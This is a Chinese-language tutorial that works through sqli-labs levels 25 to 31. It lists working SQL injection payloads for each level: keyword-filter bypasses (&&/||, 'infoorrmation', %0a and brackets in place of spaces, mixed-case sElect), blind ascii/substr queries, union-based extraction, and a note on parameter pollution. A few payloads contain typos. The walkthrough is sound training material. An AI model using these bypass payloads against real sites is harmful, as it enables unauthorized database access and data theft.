以sqlilabs靶场为例,讲解SQL注入攻击原理【25-31关】

【Less-25】

首先分析源码

发现把 SQL语句中的 or、and 替换成了空格,这就导致无法使用之前的sql注入方式。

解决方案:用 && 代替 and , 用 || 代替 or , 而且&在url中有特殊含义,如果直接使用会有问题,所以还需要对&&进行urlencode编码处理。

?id=1' and 1=1 -- aaa

改为
?id=1' && 1=1 -- aaa  # 由于&在url中有特殊含义,如果直接使用会有问题,所以还需要对&&进行urlencode编码处理。

最终为:

?id=1'%26%26 1=1 -- aaa 

结果正常显示,不在报SQL语句错误。

获取数据库名之后,按照步骤获取数据表名,却出现了错误。

写入的information_schema 被换成了 infmation,中间的or被替换了""。

解决方案:information_schema  写成 infoorrmation 。

完整步骤:

#第一步 获取数据库名


?id=1'|| updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- aaa #也可以使用&&的urlencode

#第二步 获取数据表名

?id=1'|| updatexml(1,concat(0x7e,(SELECT table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- aaa

#第三步 获取数据表字段名(将其中的and 转换为&&的urlencode)

?id=1'|| updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() %26%26 table_name='emails' ),0x7e),1)-- aaa

最后渗透结果如下:

【Less-26】

首先分析源码

可以发现and、or、-- 、#、空格都被转义了,说明在注入的时候就不能用这些了。

尝试用 && 或 || 来代替 and、or ,用'1'='1 代替之前的注释--

# 注入获取数据库名

?id=1' ||updatexml(1,concat(0x7e,(select database()),0x7e),1) || '1'='1

发现select database()中间的空格被替换了,此时更改代码,用括号代替空格。

# 获取数据库名

?id=1' ||updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1

结果正常显示数据库名

其他步骤基本和Less-25相似,如下:

# 获取数据表名

?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1'='1

# 获取数据字段
?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26(table_name='emails'))),0x7e),1) || '1'='1

结果:

【Less-27】

源码分析:

较比Less-26,Less-27注释的更多,可以发现-- 、#、select、union、+、空格都被转义了,说明在注入的时候就不能用这些了。

解题步骤与Less-26类似,最大的区别就是不要直接用select,可以用sElect或其他大小写组合的名字代替。

完整步骤如下:

# 获取数据库名

?id=1' || updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1

# 获取数据表名,可以用sElect 代替select ,用%0a代替空格

?id=1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database()%0a),0x7e),1) || '1'='1

# 获取数据字段
?id=1' || updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_schema=database()%26%26(table_name='emails'))),0x7e),1) || '1'='1

结果为:

【Less-28】

源码分析:

和上一题类似,也有诸多注释,特别是不能使用select和union,而且大小写都不行。还有注入的是id 用了括号和引号。

解决方案:采用盲注的方式解决

# 获取数据库名字的长度

?id=1')and(length(database())=8)and('1')=('1

# 获取数据库的具体名字,可以使用BurpSuite工具
?id=1')and(ascii(substr(database(),1,1))=115)and('1')=('1

# 获取数据表名
?id=1')and(ascii(substr((select%0atable_name%0afrom%0ainformation_scheam.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1)))=101%0aand('1')=('1



# 获取数据字段
?id=1')and(ascii(substr((select%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atbale_name='emails'%0alimit%0a0,1),1,1)))=105%0aand('1')=('1

这里可以使用BurpSuite软件进行参数更改,实现快速找到对应的值。

获取的数据库名为Security,数据表名emails。

【Less-29】

简单的单引号闭合,具体的解决方案如下:

# 获取数据库

?id=-1' union select 1,2,database() -- aaa

# 获取数据表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

# 获取数据字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-30】

简单的双引号闭合,具体的解决方案如下:

# 获取数据库

?id=-1" union select 1,2,database() -- aaa

# 获取数据表

?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

# 获取数据字段

?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

 【Less-31】

简单的双引号和括号闭合,具体的解决方案如下:

# 获取数据库

?id=-1") union select 1,2,database() -- aaa

# 获取数据表

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

# 获取数据字段

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

 Ps:这里的Less-29 到 Less-31 讲解的是一个参数污染的问题,因为需要配置两个环境,一个tomcat(jsp),一个Apache(php),首先请求会经过jsp过滤然后再传给php,然后将经过php服务器处理完之后又返回给isp服务器,从而显示到客户端,这里我们可以利用参数污染的方式给他两个传参,他会将第一个传参给jsp处理,而第二个传参交给了php处理。

关于参数污染的文章可以参考:https://www.cnblogs.com/wjrblogs/p/12966636.html

  • 36
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值